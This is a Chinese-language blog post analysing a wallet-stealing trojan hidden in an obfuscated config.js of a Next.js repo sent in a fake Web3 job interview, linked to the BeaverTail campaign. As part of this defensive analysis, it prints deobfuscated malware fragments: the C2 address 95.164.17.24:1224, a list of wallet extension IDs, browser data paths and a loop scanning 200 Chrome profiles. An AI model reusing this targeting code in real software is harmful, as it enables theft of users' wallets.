gexiao

gexiao

twitter
github

一次前端源碼盜幣事件分析

前幾日在 Dapp Learning 的交流群裡看到群友聊到錢包被盜的經歷:

image

這種未知來源的木馬盜幣後追回的可能性極低,也許等你發現的時候資金已經轉到金三胖的錢包裡了。這位群友描述的過程讓我有些好奇,為什麼運行一個 Next.js 程序會導致本地錢包被盜?我嘗試用自己在信息安全上的三腳貓功夫分析一下。

檢查行為#

與群友溝通後拿到源碼倉庫,clone 到 Windows 虛擬機,準備好進程行為記錄工具(Process Monitor)和網絡流量監測(我直接用了旁路由上的 Surge),按 README 裡執行 npm install 和 npm run dev 啟動服務,流量的歷史記錄裡這幾個到 95.164.17.24:1224 的連接比較顯眼包:

iShot_2024-09-30_20.27.12

再觀察 node 的進程行為,我的家已經被它抄好幾輪了:

image

可以確定這個項目的木馬行為跟網頁前端沒關係,而是 node 服務啟動後就有了。項目在瀏覽器裡看起來還真像那麼回事:

iShot_2024-09-30_23.59.55

分析流程#

既然行為上已經定性,那再來細細觀察下動作。

每個 Chrome 擴展都有自己的唯一標識符,node 進程掃描的擴展目錄都是些知名錢包,比如 nkbihfbeogaeaoehlefnkodbefgpgknn 是 MetaMask,acmacodkjbdgmoleebolmdjonilkdbch 是 Rabby,bfnaelmomeimhlpmgjnjophhpkkoljpa 是 Phantom,意圖非常明顯。

在 Chrome 裡創建新用戶會有對應一個該用戶的數據目錄,這個木馬一直掃描到 User Data\Profile 199\ 說明它會把前 200 個 Chrome 用戶都扒一遍,還挺周到。以及 Edge、Brave、Firefox、Opera 瀏覽器也會搜刮一通,放心哈,雨露均沾。

另外還專門去掃了眼 .config\solana\id.json ,這是 solana-keygen 工具生成私鑰的默認存放文件。

95.164.17.24:1224 這個目標服務很顯然會接收掃到的錢包數據,至於還會不會幹其他的,我沒做細致抓包看不到具體請求內容,先不分析了。把 IP 放到搜索引擎裡一搜,原來最近幾個月已經有若干人報告過與這個服務有關的惡意行為:

《New Version of BeaverTail macOS Malware Identified》 這篇文章信息量很足,研究員捕獲到一個偽裝成視頻通話程序 MiroTalk 的木馬,並認為它來自朝鮮黑客。因為與咱們這次使用了同一個服務端所以能實錘是同一波人幹的,該木馬的行為也和這次的代碼非常相似,文章裡還提到木馬執行後會下載另一個工具來做鍵盤記錄。

《DO NOT OPEN RANDOM PIECES OF CODE》 這篇在 Linkedin 上的帖子提到,有人假裝 Web3 行業招聘,面試時發代碼過來讓運行,被察覺出代碼很奇怪,沒有得逞。我猜測受害群友可能也中了這個套路,一問,果然是。

image

《Beware of scammers!》 reddit 帖子裡提到了與上面 Linkedin 帖子同樣的內容,評論區裡一位老哥提供了非常完整的分析:

image

部分 IP 地址的地理位置會變來變去,不同服務商的準確率不一樣,通常我會以 ipip.net 的結果為準:

image

可以看到 95.164.17.24 是一台位於荷蘭的服務器,提供商 Stark Industries Solutions。

image

查到這裡時碰到了個我完全沒預料到的信息,《Stark Industries: Fuelling Russia’s Cyber Offensive》 文章認為,Stark Industries 在 2022 年 2 月俄羅斯入侵烏克蘭前兩周剛剛出現。該托管服務提供商成立於英國,但其根基和基礎設施遍布歐洲,很快成為分佈式拒絕服務(DDoS)攻擊和虛假信息活動的中心。刻意保護服務使用方,服務多個親俄黑客組織。

好家伙,老毛子黑客專用了。可以合理推測朝鮮國家隊與俄羅斯可能存在某種合作。

9 月份也有兩篇與這個攻擊相關的文章:

《Tracking Beavertail APT threats in the npm ecosystem》發現有人發布了包含攻擊代碼的 npm 包並取上非常容易被混淆使用的名稱比如 etherscan-api,如果開發者不小心加載了這些 npm 包會導致自己本來沒有問題的代碼化身成木馬(行話叫供應鏈攻擊)。Web3 行業的許多項目雖然可以在執行邏輯 + 資金管理上做到完全上鏈去中心化,但往往給用戶使用的 Web 前端頁面是中心化的,所以針對前端的供應鏈攻擊是非常嚴重的威脅來源:前端工程師不小心多敲了一個字母,或者某個工程師的權限被盜,導致前端源碼裡引入惡意代碼,上線後大冤種用戶們的資金就沒了。(歷史回顧:《Ledger Connect Kit 被黑之謎》

《Lazarus aka Hidden Cobra APT Group – Active IOCs》 安全公司 rewterz 在威脅情報裡將最近專門針對 Web3 行業招聘進行釣魚的行為取名 Dream Job
image

回歸源碼#

發現工程代碼有惡意行為後,我嘗試用 nkbihfbeogaeaoehlefnkodbefgpgknn 這樣特徵明顯的關鍵詞去搜索所有源碼,想找一下它代碼怎麼實現的,很顯然,職業的黑客老哥不會留那麼明顯的痕跡給別人,倒不是針對我,而是儘量避免各家安全廠商的自動化工具去識別和防禦。關鍵字不行那就手動來看看,打開 config.js,眼前一黑:

image

你丫的喜歡做混淆是吧,但哪有正經工程師會在 config.js 裡加混淆呢?此地無銀三百兩了。再往下拉一拉看到一堆奇怪的字符串:

image

裡面有'/Chro' 'Brave',過於可疑,果然nkbihfbeogaeaoehlefnkodbefgpgknn搜不到,但nkbih能搜到,可以確定就是這裡,混淆過程把一些字符串打散了而已。找個 JS 反混淆工具跑一下,看看它到底在幹啥,我貼幾段關鍵代碼,和之前觀察到的動作對應得上:

const _0x55065c = "http://95.164.17.24:1224";
const _0x1232d9 = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
const _0x151d96 = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const _0x1c1cc8 = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
const _0x275436 = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "hnfanknocfeofbddgcijnmhnfnkdnaad", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "aholpfdialjgjfhomihkjbmgjidlcdno"];

循環遍歷前 200 個 Chrome 用戶:

  for (let _0x4293f0 = 0; _0x4293f0 < 200; _0x4293f0++) {
    const _0x50fbe9 = _0x420236 + "/" + (_0x4293f0 === 0 ? "Default" : "Profile " + _0x4293f0) + "/Local Extension Settings";
    for (let _0x38faa0 = 0; _0x38faa0 < _0x275436.length; _0x38faa0++) {
      let _0x4a10a4 = _0x50fbe9 + "/" + _0x275436[_0x38faa0];

裡面還有一段代碼是檢查 Python 運行環境,下載個什麼東西回來執行,我測試時沒有觸發到,但與前面文章裡研究員分析的行為一致。

image

最後一步#

到這裡我們已經知道受害者的錢包數據是怎麼被偷走的,還剩一個問題沒解答:MetaMask 擴展的數據雖然保存在本地可以被偷走,但解開裡面的助記詞或私鑰需要用戶自己配置的密碼,MetaMask 的工程師不可能傻傻地讓你能直接從文件裡提取出來。這個流程就回歸到古典黑客攻擊手段上了,通常有 2 個路徑:

  1. 還記得上面的文章提到惡意代碼會嘗試下載另一個惡意工具嗎?如果沒有被及時發現又成功執行,那麼鍵盤記錄器有機會等到受害者輸入密碼,以及全盤掃描文件查找是否把密碼記錄到什麼文檔裡。
  2. 服務端暴力破解。參考文章《你的小狐狸(Metamask)是如何被黑掉的》 裡附的一張圖,針對 MetaMask 密碼場景這表格裡數字不一定精準,不過意思已到位:暴力破解複雜密碼需要的時間遠超短的、簡單的密碼
    image

說這個圖不精準,是因為不知道這張圖描述的加密標準是什麼。暴力破解密碼的難度既取決於攻擊者的算力,也要看加密時使用的密鑰推導算法。MetaMask 基於用戶密碼給私鑰加密存儲時使用了能緩解暴力攻擊的 PBKDF2 算法和隨機鹽,並且 PBKDF2 迭代輪數是業界推薦的安全標準 60 萬次(源碼關鍵詞 600_000),安全已經做得足夠。但 PBKDF2 無法抵禦 GPU 或 ASIC 硬件的暴力破解,所以只要發現你的錢包價值夠高,攻擊方會很願意砸算力跟你拼一下。

我不清楚 MetaMask 為什麼沒有選更安全的 Bcrypt 或 Argon2 算法,猜測是需要平衡用戶體驗與安全性,這些算法太耗內存可能不適用瀏覽器場景。但有個結論是無論如何都不會錯的:如果你的 MetaMask 使用了短長度的純數字 + 小寫字母密碼,那麼攻擊者的破解成本過於低,等同於沒有密碼。這種情況,靠程序更換任何高級的算法都無法解決。

回到開頭,群友在「大約一個小時後」發現錢包裡的資金被轉移走,很像是使用了簡單密碼導致破解起來飛快。詢問後得到肯定答復。無法證實在攻擊者那邊是這樣,只能認為大概率是。

安全警示#

是一次中規中矩的惡意軟件盜幣事件,沒什麼新鮮的,跟以前假裝談合作發個遊戲 exe 過來類似。這個陷阱專門針對行業裡的開發者,上次慢霧也分析過另一種更高級的針對開發者的釣魚《黑暗森林之狡詐的網絡釣魚》

安全防禦措施,仍然是老生常談的幾個點:

  1. 既然選擇在 Web3 這個黑暗森林裡溜達,就注定面對無處不在的風險,不要直接運行陌生人給你的開源代碼,更不用說編譯後的可執行程序了。如果有需求,用虛擬機或者專門不放資金的機器運行。面試時更不用在乎虛擬機,想想假如你是面試官,看到候選人這麼謹慎的操作你心裡的想法是什麼,當然會覺得這位候選人安全意識很好很有水平是加分項啊,怎麼可能急不可耐地勸你把程序從虛擬機裡拿出來執行呢?出現這種情況的面試或邀約,100% 騙子。
  2. 擺正心態。別覺得自己會寫代碼有什麼牛逼的,會寫代碼不等於懂安全,沒有搞過攻防的人都屬於小白,存在無數的細節可以騙到你。所以我也一直認為區塊鏈行業的技術團隊如果全員沒有安全經驗又不做任何措施(招聘專業的安全工程師或者購買外部公司的服務),就是在純裸奔賭運氣。
  3. 請務必對你的各種錢包使用複雜的、12 位以上的密碼。隨機密碼是最好的,知道你記不住,很推薦使用 1Password 這樣的密碼管理工具。如果非要自己記也有方案,比如你有個常用密碼,對 MetaMask,使用你的常用密碼 + .metamask 後綴,Rabby 錢包就是常用密碼 + .rabby。別漏了這個小數點,可以用兩個點,也可以換成任意你喜歡的特殊符號。
  4. 寫代碼新引入第三方庫不是看著名字像就行了,要去這個庫的主頁和 GitHub 再確認一遍正不正經,发布时间夠不夠久。
  5. MetaMask 這種熱錢包裡不要放太多資金,量化標準:被盜後會讓你寢食難安就算多。大資金用硬件錢包,硬件錢包不能規避鏈上權限泄露但可以規避私鑰泄露,而私鑰泄露佔據了個人資金安全事故的絕大部分。
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。